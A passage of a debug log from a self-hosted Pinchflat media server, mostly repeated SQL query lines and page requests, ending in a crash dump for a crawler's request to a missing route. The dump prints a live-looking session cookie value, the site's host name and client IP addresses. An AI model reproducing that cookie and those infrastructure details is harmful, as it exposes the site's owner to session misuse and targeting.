s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:48:59.821 [debug] QUERY OK source="tasks" db=0.4ms idle=3.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 20:48:59.822 [debug] QUERY OK source="media_items" db=0.7ms idle=4.0ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 20:48:59.824 [debug] QUERY OK source="media_items" db=2.0ms idle=4.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 20:48:59.827 [debug] QUERY OK source="media_items" db=2.0ms idle=6.0ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 20:48:59.828 [debug] QUERY OK source="media_items" db=1.3ms idle=7.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 20:48:59.829 [debug] QUERY OK source="sources" db=0.3ms idle=7.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:48:59.831 [info] Sent 200 in 16ms 20:49:00.475 [info] {"source":"oban","duration":316,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:49:00.548 [info] GET / 20:49:00.548 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 20:49:00.549 [debug] QUERY OK source="settings" db=0.4ms idle=721.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:49:00.550 [debug] QUERY OK source="media_profiles" db=0.2ms idle=721.3ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 20:49:00.551 [debug] QUERY OK source="sources" db=0.5ms idle=721.2ms SELECT count(s0."id") FROM "sources" AS s0 [] 20:49:00.552 [debug] QUERY OK source="media_items" db=1.5ms idle=294.8ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 20:49:00.553 [debug] QUERY OK source="media_items" db=0.5ms idle=77.2ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 20:49:00.554 [debug] QUERY OK source="settings" db=0.5ms idle=4.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:49:00.555 [debug] QUERY OK source="settings" db=0.6ms idle=3.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:49:00.556 [debug] QUERY OK source="settings" db=0.6ms idle=4.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:49:00.557 [debug] QUERY OK source="tasks" db=0.3ms idle=4.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 20:49:00.558 [debug] QUERY OK source="media_items" db=0.3ms idle=4.4ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 20:49:00.559 [debug] QUERY OK source="media_items" db=1.1ms idle=4.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 20:49:00.562 [debug] QUERY OK source="media_items" db=2.5ms idle=4.9ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 20:49:00.564 [debug] QUERY OK source="media_items" db=1.5ms idle=6.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 20:49:00.565 [debug] QUERY OK source="sources" db=0.2ms idle=7.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:49:00.566 [info] Sent 200 in 18ms 20:49:15.634 [info] {"source":"oban","duration":1369,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:49:18.494 [info] GET /sources/1/media/1/edit 20:49:18.494 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "1", "source_id" => "1"} Pipelines: [:browser] 20:49:18.495 [debug] QUERY OK source="media_items" db=0.5ms idle=882.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1] 20:49:18.496 [debug] QUERY OK source="settings" db=0.3ms idle=883.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:49:18.496 [debug] QUERY OK source="settings" db=0.3ms idle=884.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:49:18.497 [debug] QUERY OK source="settings" db=0.2ms idle=884.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:49:18.498 [info] Sent 200 in 3ms 20:49:45.636 [info] {"source":"oban","duration":923,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:50:00.477 [info] {"source":"oban","duration":554,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:50:04.787 [info] GET /sources/1/media/7/edit 20:50:04.787 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "7", "source_id" => "1"} Pipelines: [:browser] 20:50:04.791 [debug] QUERY OK source="media_items" db=3.0ms idle=1172.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [7] 20:50:04.794 [debug] QUERY OK source="settings" db=1.9ms idle=1176.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:50:04.794 [debug] QUERY OK source="settings" db=0.4ms idle=1179.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:50:04.795 [debug] QUERY OK source="settings" db=0.4ms idle=1180.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:50:04.799 [info] Sent 200 in 11ms 20:50:15.638 [info] {"source":"oban","duration":906,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:50:45.640 [info] {"source":"oban","duration":881,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:50:46.568 [info] GET /sources/1/media/6/edit 20:50:46.568 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "6", "source_id" => "1"} Pipelines: [:browser] 20:50:46.569 [debug] QUERY OK source="media_items" db=0.6ms idle=1953.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [6] 20:50:46.570 [debug] QUERY OK source="settings" db=0.5ms idle=1065.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:50:46.571 [debug] QUERY OK source="settings" db=0.3ms idle=955.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:50:46.572 [debug] QUERY OK source="settings" db=0.4ms idle=931.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:50:46.573 [info] Sent 200 in 4ms 20:51:00.480 [info] {"source":"oban","duration":1634,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:51:15.642 [info] {"source":"oban","duration":795,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:51:25.173 [info] GET /sources/1/media/4/edit 20:51:25.173 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "4", "source_id" => "1"} Pipelines: [:browser] 20:51:25.174 [debug] QUERY OK source="media_items" db=0.7ms idle=1558.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [4] 20:51:25.175 [debug] QUERY OK source="settings" db=0.6ms queue=0.1ms idle=1559.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:51:25.177 [debug] QUERY OK source="settings" db=0.9ms idle=1560.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:51:25.178 [debug] QUERY OK source="settings" db=1.0ms idle=1562.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:51:25.179 [info] Sent 200 in 6ms 20:51:45.644 [info] {"source":"oban","duration":789,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:52:00.110 [info] GET /sources/1/media/40/force_download 20:52:00.112 [debug] QUERY OK source="settings" db=1.4ms idle=1495.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:52:00.112 [debug] QUERY OK source="settings" db=0.3ms idle=1497.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:52:00.112 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 20:52:00.113 [error] #PID<0.4686.0> running PinchflatWeb.Endpoint (connection #PID<0.4685.0>, stream id 1) terminated Server: pinchflat.oddbox.tech:80 (http) Request: GET /sources/1/media/40/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/media/40/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4685.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/40/force_download", host: "pinchflat.oddbox.tech", peer: {{172, 18, 0, 1}, 53962}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "Upgrade", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYNFgzZzhjb2NMUVlBVGtlaG9JdmJzVmU3.B_arnNdcKQEyNAt7uPHKOP9O4jC7CFuxv6vY98IvqYI", "from" => "gptbot(at)openai.com", "host" => "pinchflat.oddbox.tech", "referer" => "https://pinchflat.oddbox.tech/sources/1/media/40", "upgrade" => "websocket", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.227.179", "x-forwarded-host" => "pinchflat.oddbox.tech", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "srv1511474", "x-openai-host-hash" => "835649437", "x-real-ip" => "74.7.227.179" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYNFgzZzhjb2NMUVlBVGtlaG9JdmJzVmU3.B_arnNdcKQEyNAt7uPHKOP9O4jC7CFuxv6vY98IvqYI" }, halted: false, host: "pinchflat.oddbox.tech", method: "GET", owner: #PID<0.4686.0>, params: %{}, path_info: ["sources", "1", "media", "40", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.oddbox.tech", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYNFgzZzhjb2NMUVlBVGtlaG9JdmJzVmU3.B_arnNdcKQEyNAt7uPHKOP9O4jC7CFuxv6vY98IvqYI" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"connection", "Upgrade"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYNFgzZzhjb2NMUVlBVGtlaG9JdmJzVmU3.B_arnNdcKQEyNAt7uPHKOP9O4jC7CFuxv6vY98IvqYI"}, {"from", "gptbot(at)openai.com"}, {"host", "pinchflat.oddbox.tech"}, {"referer", "https://pinchflat.oddbox.tech/sources/1/media/40"}, {"upgrade", "websocket"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.227.179"}, {"x-forwarded-host", "pinchflat.oddbox.tech"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "srv1511474"}, {"x-openai-host-hash", "835649437"}, {"x-real-ip", "74.7.227.179"} ], request_path: "/sources/1/media/40/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJ8NaF3krildvR0AADty"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4685.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/40/force_download", host: "pinchflat.oddbox.tech", peer: {{172, 18, 0, 1}, 53962}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "Upgrade", 